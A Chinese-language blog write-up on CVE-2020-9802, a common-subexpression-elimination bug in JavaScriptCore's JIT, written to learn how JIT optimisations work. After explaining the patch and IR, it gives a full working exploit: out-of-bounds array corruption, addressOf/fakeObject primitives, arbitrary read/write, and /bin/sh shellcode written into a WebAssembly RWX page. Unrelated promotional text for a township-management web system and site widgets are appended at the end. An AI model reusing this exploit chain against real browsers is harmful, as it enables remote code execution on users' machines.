CVE-2020-9802:Incorrect Common Subexpression Elimination for ArithNegate, leading to OOB accesses

前言

本文首发于看雪论坛https://bbs.kanxue.com/thread-281397.htm

最近尝试阅读 DFG jit 相关源码,但是无从下手,网上资料甚少并且代码量巨大,所以笔者对应 JSC 的学习路线还是从相关 CVE 中去学习一些有关 JSC 的基础知识,这里逐渐积累,等到合适的时候,再去尝试阅读源码,该漏洞比较老了,但是复现漏洞不是目的,重要的是学习一些知识

复现这个漏洞主要是学习下 CSE 优化这个知识点,其实挺简单的。CSE 即公共子表达式消除,其主要的操作就是将多个相同的表达式替换成一个变量,这个变量存储着计算该表达式后所得到的值,考虑如下代码:

let a = b * c + g;
let d = b * c + e;

上述代码可能会被优化成如下代码:

let temp = b * c;
let a = temp + g;
let d = temp + e;

这样就避免了 b * c 表达式的重复运算,但是并非所有情况下都可以进行 CSE 优化,考虑如下代码:

let a = obj.x
f();  // <===== side effect
let b = obj.x

这里我们就不可以将其优化为如下代码:

let temp = obj.x;
let a = temp;
f();   // <===== side effect
let b = temp;

理由很简单,f() 存在 side effect,即 obj 对象可能在 f() 中被修改,比如如下代码:

function f() {
        obj.x = 2;
}
let obj = {x:1};
let a = obj.x; // a = 1
f();	// <====== change obj.x
let b = obj.x; // a = 2

如果这里将其优化,则导致 a = b = 1 从而出现错误,那么 JIT 编译器是如果判断公共子表达式是否可以进行消除呢?对于 JSC 而言,其会在 DFG 阶段收集相关信息,然后在 FTL 阶段利用收集的信息判断是否进行 CSE 优化,收集信息阶段主要在 DFGClobberize 函数中进行,这个我们后面再看。

环境搭建

手动引入 patch 然后编译即可:

diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu

     case ArithAbs:
         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
         if (node->child1().useKind() == Int32Use
             || node->child1().useKind() == DoubleRepUse
             || node->child1().useKind() == Int52RepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);

漏洞分析

可以看到上述补丁主要打在了 clobberize 函数中,通过前面的铺垫,可以知道这里应该就是 DFG 收集相关信息时出现错误,从而导致在 FTL 阶段发生错误的优化,定位到源码:

这里代码很长,所以只需要定位关键代码即可

template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor, typename ClobberTopFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def, const ClobberTopFunctor& clobberTopFunctor)
{
......
    case ArithAbs:
        if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
            def(PureValue(node));
            //def(PureValue(node, node->arithMode()));
        else
            clobberTop();
        return;
......
    case ArithNegate:
        if (node->child1().useKind() == Int32Use
            || node->child1().useKind() == DoubleRepUse
            || node->child1().useKind() == Int52RepUse)
            def(PureValue(node));
            //def(PureValue(node, node->arithMode()));
        else
            clobberTop();
        return;
......

这里可以看到 patch 代码仅仅给 PureValue 函数添加了一个参数 node->arithMode(),这里根据 p0 的文章可以知道:

The def() of the PureValue here expresses that the computation does not rely on any context and thus that it will always yield the same result when given the same inputs. However, note that the PureValue is parameterized by the ArithMode of the operation, which specifies whether the operation should handle (e.g. by bailing out to the interpreter) integer overflows or not. The parameterization in this case prevents two ArithMul operations with different handling of integer overflows from being substituted for each other. An operation that handles overflows is also commonly referred to as a “checked” operation, and an “unchecked” operation is one that does not detect or handle overflows.

加上 node->arithMode() 表示说具体不同整数溢出处理方式的操作不能替换,然后操作根据是否检查溢出分为 checked operationunchecked operation

所以这里的漏洞就比较明显了,def(PureValue(node)); 表示能否进行替换只与输入的值有关,对于 ArithNegate 而言,其是 unchecked operation,当 value = TYPE_MIN 时会发生溢出,即 -TYPE_MIN = TYPE_MIN;对于 ArithAbs 而言,其是 checked operation,当 value = TYPE_MIN 时,其会进行符合扩展去处理溢出情况,所以 abs(TYPE_MIN) = |TYPE_MIN|;而 ArithNegateArithAbs 操作是可以产生相同的效果的,比如 -(-1) = abs(-1),所以对于如下代码是可以进行优化的:

let a = -(-1) = 1;
let b = abs(-1) = 1;
==>
let a = -(-1) = 1;
let b = a = 1;

上面优化看似不存在问题,但是当发生溢出时就会出现问题,比如如下代码:

let a = -TYPE_MIN = TYPE_MIN;
let b = abs(TYPE_MIN) = |TYPE_MIN|;
==>
let a = -TYPE_MIN = TYPE_MIN;
let b = a = TYPE_MIN

可以看到这里优化 CSE 优化导致 b 的值发生错误,其本来应该为 |TYPE_MIN|,但是编译器却认为其为 TYPE_MIN,其实这就是这个漏洞的全部原理了

poc 如下:

function f(n) {
        if (n < 0) {
                let a = -n;
                let b = Math.abs(n);
                return b;
        }
        return 0;
}


for (let i = 0; i < 0xd0000; i++) {
        f(-2);
}

print(f(-0x80000000));
// output: -2147483648

可以看到这里输出的 b = -2147483648 = -0x80000000,来简单看看字节码

首先看看 f 产生的字节码:

[   0] enter
[   1] jnless           lhs:arg1, rhs:Int32: 0(const0), targetLabel:49(->50)
[   5] mov
[   8] mov
[  11] negate			dst:loc5, operand:arg1, profileIndex:0, resultType:126
[  16] resolve_scope
[  23] get_from_scope
[  32] get_by_id
[  38] mov
[  41] call				dst:loc6, callee:loc7, argc:2, argv:16, valueProfile:3
[  48] ret
[  50] ret              value:Int32: 0(const0)

[11] negate 表示的就是 -n[41] call 表示的就是 Math.abs(n),来看下在 DFG 后的字节码

可以看到 [11] negate 被展开为如下 IR
在这里插入图片描述
[41] call 被展开为如下 IR
del-br
即:

[11] negate
	CountExecution
	GetLocal
	ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked, bc#11, ExitValid)
	MovHint
[41] call
	CountExecution
	FilterCallLinkStatus
	ArithAbs(Int32:D@33, Int32|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, Int32, CheckOverflow, Exits, bc#41, ExitValid)
	Phantom
	Phantom
	MovHint

可以看到 ArithNegateunchecked 的,而 ArithAbsCheckOverflow 的,即 ArithNegateArithAbs 具有不同的溢出处理机制

接下来看看 FTL 阶段:
在这里插入图片描述
在这里插入图片描述
即:

[11] negate
	CountExecution
	ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked, bc#11, ExitValid)
	KillStack
	ZombieHint
[41] call
	CountExecution
	FilterCallLinkStatus
	KillStack
	MovHint

可以看到这里 ArithAbs 被优化掉了,即编译器认为 ArithNegateArithAbs 在操作数是负数时是等效的,但是上面说了这两个操作对于溢出的处理情况是不同的,所以这两个操作并不是完全等效的

漏洞利用

接下来就该考虑如何去进行利用了,总结一下上面漏洞的效果:

  • 一个运行时不一致的 TYPE_MIN

后面的利用有点类似于 V8 中消除 CheckBounds 节点,即利用编译器检查时与运行时不一致漏洞去消除边界检查,考虑如下代码:

function trigger(arr, n) {
        if (n < arr.length) { // 【1】
                if (n & 3) {
                        n += -2; // 【2】
                }
                if (n >= 0) { // 【3】
                        return arr[n];
                }
        }
}

var arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 0xd0000; i++) {
        trigger(arr, 2);
}

trigger(arr, 3);

可以看到这里 【1】 处首先保证了 n < arr.length【2】 处为减二,所以 n < arr.length-2 < arr.length【3】 处保证了 n >= 0,所以编译器最后会推断 arr[n] 中的 n 的范围在 [0, arr.length) 之间,所以其肯定不会发生越界,所以其会进行消除边界检查优化

来看下 trigger 函数的字节码:

[   0] enter
[   1] get_by_id          dst:loc5, base:arg1, property:0, valueProfile:1
[   7] jnless             lhs:arg2, rhs:loc5, targetLabel:31(->38)
[  11] bitand             dst:loc5, lhs:arg2, rhs:Int32: 3(const0), profileIndex:0, operandTypes:OperandTypes(126, 3)
[  17] jfalse             condition:loc5, targetLabel:9(->26)
[  20] add                dst:arg2, lhs:arg2, rhs:Int32: -2(const1), profileIndex:1, operandTypes:OperandTypes(126, 3)
[  26] jngreatereq        lhs:arg2, rhs:Int32: 0(const2), targetLabel:12(->38)
[  30] get_by_val         dst:loc5, base:arg1, property:arg2, valueProfile:2
[  36] ret                value:loc5
[  38] ret                value:Undefined(const3)

这里主要关注 get_by_val 字节码,来看看 DFG 阶段:

[  30] get_by_val         dst:loc5, base:arg1, property:arg2, valueProfile:2
	CountExecution
	GetLocal
	GetLocal
	GetButterfly
	GetByVal
	MovHint
	ValueRep

这里我们主要关注下 GetButterflyGetByVal

GetButterfly(Cell:D@52, Storage|PureInt, R:JSObject_butterfly, bc#30, ExitValid)
          0x7f4ab176c111: movq 0x8(%rax), %rdx <=== rax = obj_arr; rdx = butterfly
          
GetByVal(KnownCell:D@52, Int32:D@53, Check:Untyped:D@86, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#30, ExitValid)  predicting NonIntAsDouble
          0x7f4ab176c115: cmpl -0x8(%rdx), %esi <=== -0x8(%rdx) = arr_len; esi = n
          0x7f4ab176c118: jnb 0x7f4ab176c303
          0x7f4ab176c11e: vmovsdq (%rdx,%rsi,8), %xmm0
          0x7f4ab176c123: vucomisd %xmm0, %xmm0
          0x7f4ab176c127: jp 0x7f4ab176c319

从汇编代码可以看到在 DFG 阶段并没有消除数组的边界检查,其还是会检查 n 是否越界,所以我们再来看下 FTL 阶段:

GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@66, Check:Untyped:D@10, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#30, ExitValid)  predicting NonIntAsDouble

这里的 GetByVal 节点与 DFG 阶段的似乎没啥不同,所以还是得看汇编代码,但是这里 json 似乎没有 FTL 阶段的汇编代码,所以只能动态调试了,这里调试可以知道:

   0x7fffa93e8089                  mov    edx, eax
   0x7fffa93e808b                  vmovsd xmm0, QWORD PTR [rcx+rdx*8]
 → 0x7fffa93e8090                  vucomisd xmm0, xmm0
   0x7fffa93e8094                  jp     0x7fffa93e814d
   0x7fffa93e809a                  vmovq  rax, xmm0

rcx = butterfly; rax = n,所以这里是直接进行读取 butterfly[n],并没有对 n 进行检查,因为编译器推断此时 n 是在数组范围内的

那么回到原漏洞利用中,我们该如何利用漏洞去消除边界检查呢?其实关键就是编译器推断时与实际运行时的值不相同,考虑如下 poc

function trigger(arr, n) {
        if (n < 0) { // 排除大于 0 的情况,因为 -n 与 Math.abs(n) 只在 n < 0 时才可以相互替换
                let a = -n;
                let b = Math.abs(n); // 推断时 b = 0x80000000, 运行时 b = -0x80000000
                if (b < arr.length) { 
                // 确保 n < arr.length, 所以在推断时 b = 0x80000000 > arr.length,
                		// 编译器认为其不会进入以下分支
                        // 但是在实际运行时,b = -0x80000000 < arr.length
                        //所以其实会进入该分支
                        if (b & 0x80000000) { 
                        		// 对于 0x80000000 单独处理,将其转换为一个任意的数
                                b += -0x7ffffffb;
                        }

                        if (b >= 0) { // 确保 b >= 0
                                // 走到这里,编译器会认为 b 的范围在 [0, arr.length) 之间
                                // 所以会消除边界检查
                                return arr[b];
                        }
                }
        }
}

var noCOW = 13.37;
var arr = [noCOW, 1.1, 2.2, 3.3];
var tmp = [noCOW, 1.1, 2.2, 3.3];
for (let i = 0; i < 0x100000; i++) {
        trigger(arr, -2);
}

print(trigger(arr, -0x80000000));

poc 的原理我注释已经写的很清楚了,就不多说了,最后输出如下:
在这里插入图片描述
可以看到这里成功完成越界读,越界写简单修改下代码为 arr[b] = val 即可,poc 的一些构造细节可以参考 p0 的文章,其 poc 写的更加好,解析的也很详细

有了越界地址读写后面其实就比较简单,我们可以利用该漏洞越界写修改相邻数组的 butterfly 的 “容量和长度”,这样就有了一个越界数组,后面就是构造 addressOf/fakeObject 原语,然后套模板就行了,就不多说了

exploit 如下:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function hexx(str, val) {
        print(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}


function trigger(arr, n) {
        if (n < 0) {
                let a = -n;
                let b = Math.abs(n);
                if (b < arr.length) {
                        if (b & 0x80000000) {
                                b += -0x7ffffff7;
                        }

                        if (b >= 0) {
                                arr[b] = 1.04380972981885e-310;
                        }
                }
        }
}
var noCOW = 13.37
var arr = [noCOW, 1.1, 2.2, 3.3];
var oob_array = [noCOW, 1.1, 2.2, 3.3];
var victim_array = [noCOW, 1.1, 2.2, 3.3];
arr.prop = {};
arr.brop = {};
oob_array.prop = {};
oob_array.brop = {};
victim_array.prop = {};
victim_array.brop = {};

for (let i = 0; i < 0xd0000; i++) {
        trigger(arr, -2);
}

trigger(arr, -0x80000000);
hexx("oob_array.length", oob_array.length);

function addressOf(obj) {
        victim_array.prop = obj;
        return f64_to_u64(oob_array[8]);
}

function fakeObject(addr) {
        oob_array[8] = u64_to_f64(addr);
        return victim_array.prop;
}

//hexx("arr_addr", addressOf(arr));

function leakStructureID(obj) {
        let container = {
                jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
                butterfly: obj
        };

        let fake_object_addr = addressOf(container) + 0x10n;
        let fake_object = fakeObject(fake_object_addr);
        let num = f64_to_u64(fake_object[0]);

        let structureID = num & 0xffffffffn;
        container.jscell = f64[0];
        return structureID;
}

var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
        arrs.push([noCOW]);
}
var ID = [noCOW];

//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);

var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;

var container = {
        jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
        butterfly: victim
};

var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject(driver_addr);

//debug(describe(victim));
//debug(describe(driver));

var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];

driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));

driver[1] = boxed;
victim[1] = sharedButterfly;

function new_addressOf(obj) {
        boxed[0] = obj;
        return f64_to_u64(unboxed[0]);
}

function new_fakeObject(addr) {
        unboxed[0] = u64_to_f64(addr);
        return boxed[0];
}

function read64(addr) {
        driver[1] = new_fakeObject(addr + 0x10n);
        return new_addressOf(victim.prop);
}

function write64(addr, val) {
        driver[1] = new_fakeObject(addr + 0x10n);
        victim.prop = u64_to_f64(val);;
}

function ByteToDwordArray(payload) {
        let sc = [];
        let tmp = [];
        let len = Math.ceil(payload.length / 6);
        for (let i = 0; i < len; i += 1) {
                tmp = 0n;
                pow = 1n;
                for(let j = 0; j < 6; j++){
                        let c = payload[i*6+j]
                        if(c === undefined) {
                                c = 0n;
                        }
                        pow = j==0 ? 1n : 256n * pow;
                        tmp += c * pow;
                }
                tmp += 0xc000000000000n;
                sc.push(tmp);
        }
        return sc;
}

function arb_write(addr, payload) {
        let sc = ByteToDwordArray(payload);
        for(let i = 0; i < sc.length; i++) {
                write64(addr, sc[i]);
                addr += 6n;
        }
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var pwn_addr = new_addressOf(pwn);
var rwx_ptr = read64(pwn_addr+0x30n);
var rwx_addr = read64(rwx_ptr);
hexx("rwx_addr", rwx_addr);
var shellcode =[90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
                106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
                80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
                1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
                137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];


arb_write(rwx_addr, shellcode);
pwn();

效果如下:
在这里插入图片描述

总结

通过复现该漏洞,笔者对 CSE 优化有了一个大致的了解,并且对一些优化的细节有了更加深刻的理解。然后比较重要的是学到了在 JSC 中如何消除边界检查从而完成越界读写

参考

https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html

  • 22
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
基于SpringBoot+Vue的乡政府管理系统是一个现代化的Web应用程序,它使用了当今流行的技术栈来实现高效的后端服务和交互式的前端界面。以下是该系统使用的主要技术和功能介绍: 技术栈: SpringBoot:一个快速开发的框架,用于构建独立的、生产级别的Spring应用程序。它简化了配置过程,提供了大量默认配置,使得项目启动和运行更加便捷。 Vue.js:一个渐进式的JavaScript框架,用于构建用户界面。它易于上手,同时能够与其它库或已有项目整合,为开发者提供灵活性。 MySQL:一个关系型数据库管理系统,用于存储和管理数据。它支持标准的SQL语言,并且具有高性能、稳定性和易用性的特点。 功能模块: 用户管理:包括用户注册、登录、权限控制等功能,确保系统的安全性和用户的身份验证。 信息发布:允许管理员发布公告、通知等信息,以便及时传达给相关人员。 文件管理:提供文件上传、下载、删除等功能,方便管理和共享文档资料。 数据统计:对系统中的数据进行统计和分析,生成报表和图表,帮助决策者做出明智的决策。 任务管理:支持任务的创建、分配、跟踪和完成情况的记录,提高工作的效率和协作性。 留言板:提供一个平台供用户之间进行交流和讨论,促进信息共享和问题解决。 日志记录:记录系统的运行情况和用户的操作行为,便于问题的排查和安全审计。 数据备份与恢复:定期备份数据并能够在需要时进行恢复,保障数据的完整性和可靠性。 系统设置:允许管理员对系统的各项参数进行配置和管理,以满足不同场景的需求。 以上是该乡政府管理系统的主要技术和功能介绍。通过这些技术和功能的整合,该系统能够提供高效、安全、便捷的管理服务,满足乡政府的日常工作需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值